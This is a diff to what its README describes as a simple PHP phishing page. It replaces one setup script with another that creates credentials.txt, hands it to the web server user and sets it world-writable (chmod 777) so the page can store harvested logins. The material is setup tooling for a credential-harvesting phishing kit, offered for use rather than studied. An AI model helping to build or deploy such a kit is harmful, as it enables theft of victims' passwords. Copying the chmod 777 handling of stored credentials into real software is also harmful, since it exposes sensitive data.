···2233A simple phishing Page using php
4455-- Full permission to credentials.txt
55+- credentials.txt configurations
66```shell
77-touch credentials.txt
88-sudo chmod u+x config/allow_credentials.sh
99-./config/allow_credentials.sh
77+sudo chmod u+x config/setup_credentials.sh
88+./config/setup_credentials.sh
109```
-11
config/allow_credentials.sh
···11-#!/bin/bash
22-33-sudo echo
44-55-echo "Changing the owner of credentials to server www-data..."
66-sudo chown www-data:www-data credentials.txt
77-88-echo "Changing the permission of credentials to full..."
99-sudo chmod 777 credentials.txt
1010-1111-echo "Full Access to credentials.txt"
+16
config/setup_credentials.sh
···11+#!/bin/bash
22+33+sudo echo
44+55+if [[ ! -f "credentials.txt" ]]; then
66+ echo "Creating credentials.txt..."
77+ touch credentials.txt
88+fi
99+1010+echo "Changing the owner of credentials to server www-data..."
1111+sudo chown www-data:www-data credentials.txt
1212+1313+echo "Changing the permission of credentials to full..."
1414+sudo chmod 777 credentials.txt
1515+1616+echo "Full Access to credentials.txt"